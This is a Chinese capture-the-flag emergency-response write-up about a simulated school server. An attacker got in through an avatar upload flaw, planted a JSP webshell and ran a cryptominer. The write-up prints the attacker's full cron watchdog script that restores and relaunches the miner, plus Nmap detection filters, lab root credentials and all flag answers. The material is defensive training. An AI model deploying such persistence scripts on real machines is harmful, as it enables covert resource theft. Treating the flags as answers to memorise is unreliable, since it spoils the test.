某學校系統中挖礦病毒應急排查

本篇文章主要記錄某學校長期未運營維護的程序,被黑客發現了漏洞,但好在學校有全流量設備,抓取到了過程中的流量包
需要你進行上機以及結合流量分析,排查攻擊者利用的漏洞以及上傳利用成功的木馬

文章目錄

    • 靶機介紹
    • 1.使用工具分析共有多少IP存在掃描web特征,提交其數量
    • 2.在2025.6.22日17點03分27秒,192.168.37.10,55689端口進行訪問的url路徑以flag方式進行提交(應急三要素縮小范圍)
    • 3.提交存在使用NMAP掃描特征的IP
    • 4.審計流量并結合web站點,攻擊者通過什么漏洞進行控制主機,提交漏洞文件名接口
    • 5.審計流量并結合web站點,攻擊者通過哪個用戶名利用的漏洞,提交其注冊用戶名
    • 6. 審計流量并結合漏洞,提交攻擊者控制成功木馬文件名
    • 7.審計流量并清除掉攻擊者上傳的木馬,清除成功后在/var/flag/1/flag中查看flag并提交
    • 8. 黑客拿到主機權限后,上傳了挖礦木馬,需要你提交礦池地址
    • 9.清除掉主機上的挖礦木馬,完成后在/var/flag/2/flag文件中查看flag并提交
    • 10. 黑客做了后門,即使你清除以后,仍然會定時更新挖礦程序并運行,你找到這個程序,提交其路徑
    • 11.清除掉后門挖礦程序,在/var/flag/3/flag下查看提交flag


靶機介紹

背景:完全仿真了某學校長期未運營維護的程序,被黑客發現了漏洞,但好在學校有全流量設備,抓取到了過程中的流量包
需要你進行上機以及結合流量分析,排查攻擊者利用的漏洞以及上傳利用成功的木馬
以及清除掉攻擊者上傳的挖礦程序以及后門程序,挖礦環境完全還原了真實環境,但不會出網,比較有意義,清除做了check操作,你只需要按照相關題目引導進行清除
在指定目錄下查看flag提交即可,流量包在遠程登錄成功后/hacker2025.pcap(玄機直接以附件形式下載)
流量中被攻擊機IP:192.168.37.11
SSH遠程端口:2222 賬號密碼:root/edusec123

下載地址:點擊此處
參考文章:州弟學安全

要求:

  1. 使用工具分析共有多少IP存在掃描web特征,提交其數量
  2. 在2025.6.22日17點03分27秒,192.168.37.10,55689端口進行訪問的url路徑以flag方式進行提交(應急三要素縮小范圍)
  3. 提交存在使用NMAP掃描特征的IP
  4. 審計流量并結合web站點,攻擊者通過什么漏洞進行控制主機,提交漏洞文件名接口
  5. 審計流量并結合web站點,攻擊者通過哪個用戶名利用的漏洞,提交其注冊用戶名
  6. 審計流量并結合漏洞,提交攻擊者控制成功木馬文件名
  7. 審計流量并清除掉攻擊者上傳的木馬,清除成功后在/var/flag/1/flag中查看flag并提交
  8. 黑客拿到主機權限后,上傳了挖礦木馬,需要你提交礦池地址
  9. 清除掉主機上的挖礦木馬,完成后在/var/flag/2/flag文件中查看flag并提交
  10. 黑客做了后門,即使你清除以后,仍然會定時更新挖礦程序并運行,你找到這個程序,提交其路徑
  11. 清除掉后門挖礦程序,在/var/flag/3/flag下查看提交flag

1.使用工具分析共有多少IP存在掃描web特征,提交其數量

這里我們打開靶機的同時,也打開一臺kali,用于端口以及服務的掃描:
在這里插入圖片描述

這里由于兩臺機器屬于同一網段,所以直接使用nmap進行掃描:

nmap 192.168.44.0/24

顯示結果如下:
在這里插入圖片描述

這時候我們得到目標機器的ip地址,而題目中的“使用工具分析共有多少IP存在掃描web特征”,需要我們進行流量分析;

所以登錄2222端口的服務,輸入賬號密碼:

SSH遠程端口:2222
賬號密碼:root / edusec123

在這里插入圖片描述
在這里插入圖片描述

隨后即可鏈接成功;

在這里插入圖片描述

查看根目錄,發現hacker流量包,把他下載到本地用工具進行分析:

在這里插入圖片描述

這里我是用xshell的xftp功能進行傳輸到本地:
在這里插入圖片描述

然后進行分析——查看有多少IP訪問了192.168.37.11這個靶機,可以使用命令:
缺點:需要一個個數,比較耗時;

http and ip.dst == 192.168.37.11  # 篩選http協議且目的地址為靶機的IP地址

也可以使用別的方法:
在這里插入圖片描述

然后進行過濾器條件如下,進行篩選帶有掃描特征的條件,那么之前講過,怎么判斷掃描特征?
答:短時間內大量訪問不存在的文件屬于掃描特征,但是由于實戰中每個站點"文件不存在"返回狀態碼不一致,可能是404、403、500、502、405等情況,那么我們可以自行測試

所以訪問網站,輸入一個不存在的文件,看看文件不存在的狀態碼是什么?
在這里插入圖片描述

可以看到是404,所以我們就可以根據狀態碼進行篩選:

在這里插入圖片描述

http.response.code==404

在這里插入圖片描述

也可以放進本地工具里進行分析:

count() by 表示計數,id.orig_h表示源地址,status_code表示狀態碼,|表示條件分隔

在這里插入圖片描述

發現還剩IP地址為29個,所以flag:

flag{29}

2.在2025.6.22日17點03分27秒,192.168.37.10,55689端口進行訪問的url路徑以flag方式進行提交(應急三要素縮小范圍)

這里題目給出的具體的時間范圍,結合實際情況的話:
(1) 在企業中,每天可以產生幾十TB的數據,要是遇到webshell入侵的話,不可能一條一條去查找;
(2)所以在確定時間范圍的情況下,去篩選排除就很有必要;這就是此題的目的

根據題目,輸入命令:

ip.addr == 192.168.37.10 and ip.dst == 192.168.37.11 and tcp.port == 55689

可以得到3條請求記錄,追蹤http流進行查看:

在這里插入圖片描述

在這里插入圖片描述

將他們的url分別嘗試一次:

/servlet/user/uploadAvatar
/servlet/user/profile?uploadSuccess=true
/uploads/06853c4f-8b05-4949-90ae-9adc49f27a94.jsp

分析:

  1. 第一個請求看特征就知道是上傳文件
  2. 第二個看關鍵詞就知道上傳成功
  3. 第三個應該是GET訪問了上傳的文件

(所以這是一次任意文件上傳攻擊

這里根據題目,應該是url路徑,但是最終結果卻是一個文件名,不懂:
最終的flag為:
flag{06853c4f-8b05-4949-90ae-9adc49f27a94.jsp}

3.提交存在使用NMAP掃描特征的IP

通常情況下,nmap掃描到web服務(80或者8080端口),就會在URL或者User-Agent里添加nmap字樣,很容易辨識。
除此之外,nmap則會進行SYN掃描,FIN掃描等。

NMAP最大特征: 掃描 HTTP 時,會在 URL 及 UA 里包含 nmap 關鍵字特征

http.request.headers contains "Nmap"  
http.user_agent contains "Nmap"

可以發現記錄,很容易得到攻擊IP為192.168.37.4
在這里插入圖片描述

假如對方沒有掃描HTTP協議,只進行了端口掃描?
那么在nmap中使用TCP SYN掃描的情況下,可以進行篩選。

  • 基于 TCP 標志位(SYN 掃描特征)篩選
    • tcp.flags.syn == 1 && tcp.flags.ack == 0
  • 默認情況下大部分版本的nmap窗口大小為1024,當然也有其它版本的掃描可能為:2048,3072,4096
    • tcp.flags.syn == 1 and tcp.window_size == 1024 and tcp.len == 0 and ip.frag_offset == 0

在這里插入圖片描述

(如果不用tcp協議,而用udp呢?當然是問AI啊。)
在這里插入圖片描述

flag{192.168.37.4}

4.審計流量并結合web站點,攻擊者通過什么漏洞進行控制主機,提交漏洞文件名接口

根據之前的結果,我們發現了任意文件上傳的漏洞:
在這里插入圖片描述

第二個題目的時候,看到了文件上傳的操作

  • 思路:WEB 系統起碼有文件上傳功能
  • 如何確定可疑訪問?
  • 只查看正常狀態碼或排除非正常狀態碼后進行排序

這里還是使用工具,進行篩選:

count () by id.orig_h,status_code,uri|status_code==200 | sort -r count

在這里插入圖片描述
然后去wireshark篩選一下:
在這里插入圖片描述
可以看到有三條訪問記錄,進入查看內容:(冰蝎流量)
在這里插入圖片描述

這里很容易可以看出是冰蝎的流量,而題目要求的是攻擊者利用的漏洞接口,所以查看上述流量包即可得到
在這里插入圖片描述
在這里插入圖片描述

flag{uploadAvatar}

5.審計流量并結合web站點,攻擊者通過哪個用戶名利用的漏洞,提交其注冊用戶名

回到登錄頁面,其實我們訪問WEB端口看到是有鑒權的,那么攻擊者肯定是通過注冊賬號進去的,有時候溯源,賬號可能會有很大的用處;

在這里插入圖片描述

以及賬號密碼的參數payload:

在這里插入圖片描述

所以可以根據上述進行篩選:

ip.addr==192.168.37.10&&http.request.uri=="/servlet/user/login" 

得到結果:
在這里插入圖片描述
在這里插入圖片描述

可以發現,輸入賬號密碼后,跳轉到了index.jsp頁面;

flag{wangyunqing}

6. 審計流量并結合漏洞,提交攻擊者控制成功木馬文件名

根據之前的分析,可以知道這個jsp文件,訪問的次數最多:
在這里插入圖片描述

ip.addr==192.168.37.10&&http.request.uri=="/uploads/70b86b64-ce15-46bf-8095-4764809e2ee5.jsp" 

在這里插入圖片描述

隨便點擊進去查看,可以發現有著加密的異常流量:

在這里插入圖片描述

這里使用藍隊解密工具進行分析,由于是冰蝎的默認密鑰加密,所以點擊“解密”即可:

在這里插入圖片描述
在這里插入圖片描述

多看幾個,發現了木馬的文件名:

在這里插入圖片描述

flag{70b86b64-ce15-46bf-8095-4764809e2ee5.jsp}

7.審計流量并清除掉攻擊者上傳的木馬,清除成功后在/var/flag/1/flag中查看flag并提交

check操作:就是檢測我們是否清除了木馬,因為以往我們只能被動去做題,沒有check有很大局限性,比如增刪改操作,所以當我們做了清除操作后,flag會在主機指定文件生成

登錄靶機,匹配木馬的文件位置,然后進行刪除:

find / -name *809e2ee5.jsp 
# 這里匹配全部名字反而找不到;

也是找到了文件路徑:
在這里插入圖片描述

直接刪除即可:

rm -rf /var/lib/tomcat9/webapps/ROOT/uploads/70b86b64-002dce15-002d46bf-002d8095-002d4764809e2ee5.jsp

在這里插入圖片描述

隨后即可得到flag:

flag{1979c46c2af37dc62a4b05881e816995}

8. 黑客拿到主機權限后,上傳了挖礦木馬,需要你提交礦池地址

使用top命令進行查看cpu使用情況,發現了異常:

在這里插入圖片描述

名為java的程序使用資源異常,且PID為913;
隨后ps -ef 913 查看具體情況,發現礦馬

在這里插入圖片描述

位于/tmp目錄下,將其下載下來進行反編譯:

在這里插入圖片描述

可以找到礦池IP:
在這里插入圖片描述

放進微步在線分析一下:

在這里插入圖片描述

flag{pool.minexmr.com:4444}

9.清除掉主機上的挖礦木馬,完成后在/var/flag/2/flag文件中查看flag并提交

這里刪除一下miner.jar文件,查看flag即可:

rm -rf miner.jar

在這里插入圖片描述

flag{da236fe0cda81bfc03d022799589110e}

10. 黑客做了后門,即使你清除以后,仍然會定時更新挖礦程序并運行,你找到這個程序,提交其路徑

我們刪除后,發現過了不久,惡意進程又重新啟動,所以推測存在cron定時任務:

新的PID

在這里插入圖片描述

首先排查計劃任務:

crontab -l  
ls -la /etc/cron*

可以發現一個定時任務,每分鐘運行:

在這里插入圖片描述

隨后檢查/etc/cron 目錄下,沒有發現異常:
在這里插入圖片描述

查看這個sh文件的具體內容:

在這里插入圖片描述

#!/bin/bashSOURCE_FILE="/usr/share/.miner/miner.jar"
DEST_FILE="/tmp/miner.jar"
PROCESS_NAME="java -jar $DEST_FILE"
LOG_FILE="/var/log/.malware_events.log"if pgrep -f "$PROCESS_NAME" > /dev/null; thenexit 0
elseecho "[$(date)] Miner process not found. Taking action..." >> "$LOG_FILE"if [ ! -f "$DEST_FILE" ]; thenecho "[$(date)] Miner file ($DEST_FILE) is missing. Restoring from backup..." >> "$LOG_FILE"cp "$SOURCE_FILE" "$DEST_FILE"chmod +x "$DEST_FILE"fiif [ -f "$DEST_FILE" ]; thennohup java -jar "$DEST_FILE" > /dev/null 2>&1 &echo "[$(date)] Miner process restarted with PID $!." >> "$LOG_FILE"elseecho "[$(date)] CRITICAL: Could not restore miner file from backup. Cannot start." >> "$LOG_FILE"fi
fi 

這段 Bash 腳本是 惡意挖礦程序的守護腳本,作用是:

  1. 監控:檢查 java -jar /tmp/miner.jar 挖礦進程是否運行
  2. 自恢復:若進程/程序文件丟失,從隱藏備份(/usr/share/.miner/miner.jar)恢復并重啟
  3. 隱蔽性:日志藏系統目錄,進程后臺靜默運行,持續偷算力挖礦

危害:占滿服務器資源,拖垮業務、增加成本,需立即清理文件、進程并溯源 。

flag{/usr/share/.per/persistence.sh}

11.清除掉后門挖礦程序,在/var/flag/3/flag下查看提交flag

首先就是先清除定時任務,然后再去刪除腳本文件,jar包;

crontab -e //編輯計劃任務清除掉計劃任務  
rm /usr/share/.per/persistence.sh //刪除掉后門腳本程序  
rm /usr/share/.miner/miner.jarh //刪除備份挖礦程序  
rm /tmp/miner.jar //刪除已恢復的挖礦腳本  
kill -9 (PID) //殺掉挖礦進程

等待一分鐘過后,CPU和進程都恢復正常,查看/var/flag/3/flag文件獲取到flag:

flag{27bd067769b51ed71f899c7a6f08af2c}

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/913666.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/913666.shtml
英文地址,請注明出處:http://en.pswp.cn/news/913666.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

vue 、react前端頁面支持縮放,echarts、地圖點擊左邊不準的原因和解決辦法

原因 由于以上都是通過canvas畫布生成的,一旦初始化,就會按照比例進行縮放,但與此同時,比例尺并沒有變化,導致坐標偏移 解決辦法 設置一個zoomVal產量,在頁面加載時計算縮放比例,然后在canvas容…

(LeetCode 每日一題) 1353. 最多可以參加的會議數目 (優先隊列、小頂堆)

題目:1353. 最多可以參加的會議數目 思路:優先隊列實現小頂堆,0(mx*logn) 在第i天,優先選endDay最小的那一個活動進行。那么遍歷每一天,用小頂堆來維護每個活動的最后一天即可,細節看注釋。 C版本&#xf…

Java結構型模式---代理模式

代理模式基礎概念代理模式是一種結構型設計模式,其核心思想是通過創建一個代理對象來控制對另一個真實對象的訪問。代理對象在客戶端和真實對象之間起到中介作用,允許在不改變真實對象的前提下,對其進行增強或控制。代理模式的核心組件主題接…

MySQL流程控制函數全解析

MySQL 中的流程控制函數(也稱為條件函數)允許你在 SQL 語句中進行邏輯判斷,根據不同的條件返回不同的值或執行不同的操作。它們極大地增強了 SQL 的靈活性和表達能力,尤其在進行數據轉換、結果格式化、條件聚合和復雜業務邏輯實現…

【7】PostgreSQL 事務

【7】PostgreSQL 事務前言使用事務事務內錯誤處理事務保存點DDL 事務前言 在 PostgreSQL 中,每一個操作都是一個事務。即使一個簡單的查詢(select),這也是一個事務。 例如: postgres# select now();now --------------------…

Linux:多線程---深入互斥淺談同步

文章目錄1. 互斥1.1 為什么需要互斥1.2 互斥鎖1.3 初談互斥與同步1.4 鎖的原理1.5 可重入VS線程安全1.6 死鎖1.7 避免死鎖的算法(擴展)序:在上一章中我們知道了線程控制的三個角度:線程創建、線程等待和線程終止,分別從…

適用于 vue2、vue3 的自定義指定:v-int(正整數)

在項目中,我們經常會遇到輸入框只允許輸入數字的情況,下面是一段自定義指定 代碼,復制到項目中,注冊指定即可使用用法如下: 創建一個IntInput.js 文件,將下面代碼復制到文件中保存在項目中的 main.js 文件中…

學習基于springboot秒殺系統-環境配置(接口封裝,mybatis,mysql,redis(Linux))

文章目錄前言創建springboot項目封裝controller層輸入輸出rest api 的json輸出返回頁面集成mybatis集成redis下載虛擬機和centos下載redis.tar.gz上傳redis.tar.gz 到虛擬機前言 今天開始記錄學習秒殺系統-課程是基于慕課上的搜索秒殺系統的課程,老師講解非常好。這…

stm32達到什么程度叫精通?

STM32達到什么程度叫精通?一個十年老兵的深度反思 前言:精通二字,重如泰山 每次有人問我"STM32達到什么程度叫精通"這個問題,我都會沉默很久。 不是因為這個問題難回答,而是因為"精通"這兩個字太重…

微軟上線Deep Research:OpenAI同款智能體,o3+必應雙王炸

今天凌晨,微軟在官網宣布,Azure AI Foundry中上線Deep Research公開預覽版。這是支持API和SDK的OpenAI 高級智能體研究能力產品,并且Azure 的企業級智能體平臺完全集成。Deep Research是OpenAI在今年4月25日發布的最新產品,能夠像…

Spring Batch終極指南:原理、實戰與性能優化

🌟 Spring Batch終極指南:原理、實戰與性能優化單機日處理10億數據?揭秘企業級批處理架構的核心引擎!一、Spring Batch 究竟是什么?Spring batch是用于創建批處理應用程序(執行一系列作業)的開源…

【Part 3 Unity VR眼鏡端播放器開發與優化】第四節|高分辨率VR全景視頻播放性能優化

文章目錄《VR 360全景視頻開發》專欄Part 3|Unity VR眼鏡端播放器開發與優化第一節|基于Unity的360全景視頻播放實現方案第二節|VR眼鏡端的開發適配與交互設計第三節|Unity?VR手勢交互開發與深度優化第四節|高分辨率V…

TCP/IP協議基礎

TCPIP協議基礎 網絡模型 -OSI參考模型 -OSI參考模型各層功能 -TCP/IP網絡模型 -TCP/IP協議棧OSI參考模型 – 為了解決網絡設備之間的兼容性問題,國際標準化組織ISO于1984年提出了OSI RM(開放系統互連參考模型)。 OSI參考模型一共有七層&#…

【Nginx】Nginx代理WebSocket

1.websocketWebSocket 是一種網絡通信協議,它提供了在單個 TCP 連接上進行全雙工(雙向)通信的能力假設需求:把 ws://192.168.0.1:8088/ws-api/websocket/pushData代理到ws://192.168.0.156:8888/websocket/pushData;同…

Spring AI Alibaba Graph使用案例人類反饋

1、Spring AI Alibaba Graph 是社區核心實現之一,也是整個框架在設計理念上區別于 Spring AI 只做底層原子抽象的地方,Spring AI Alibaba 期望幫助開發者更容易的構建智能體應用。基于 Graph 開發者可以構建工作流、多智能體應用。Spring AI Alibaba Gra…

本地部署jenkins持續集成

一、準備環境(jdk版本跟Tomcat版本要匹配) java jdk 環境(版本是11.0.21) jenkins war包(版本是2.440.3) Tomcat (版本是 9.0.84) 二、安裝步驟 1、安裝jdk環境 1)先安裝java環境,安裝完成后配置環境變量,參考上…

基于Java+Maven+Testng+Selenium+Log4j+Allure+Jenkins搭建一個WebUI自動化框架(1)搭建框架基本雛形

本次框架使用Maven作為代碼構建管理&#xff0c;引用了PO模式&#xff0c;將整體的代碼分成了頁面層、用例層、業務邏輯層。框架搭建流程&#xff1a;1、在pom.xml中引入依賴&#xff1a;<!-- https://mvnrepository.com/artifact/io.appium/java-client --> <depende…

從零構建MCP服務器:FastMCP實戰指南

引言&#xff1a;MCP協議與FastMCP框架 Model Context Protocol&#xff08;MCP&#xff09;是連接AI模型與外部服務的標準化協議&#xff0c;允許LLM&#xff08;如Claude、Gemini&#xff09;調用工具、訪問數據。然而&#xff0c;直接實現MCP協議需要處理JSON-RPC、會話管理…

基于FPGA的智能小車設計(包含代碼)/ 全棧FPGA智能小車:Verilog實現藍牙/語音/多傳感器融合的移動平臺

首先先聲明一下&#xff0c;本項目已經歷多輪測試&#xff0c;可以放心根據我的設計進行二次開發和直接套用&#xff01;&#xff01;&#xff01; 代碼有詳細的注釋&#xff0c;方便同學進行學習&#xff01;&#xff01; 制作不易&#xff0c;記得三連哦&#xff0c;給我動…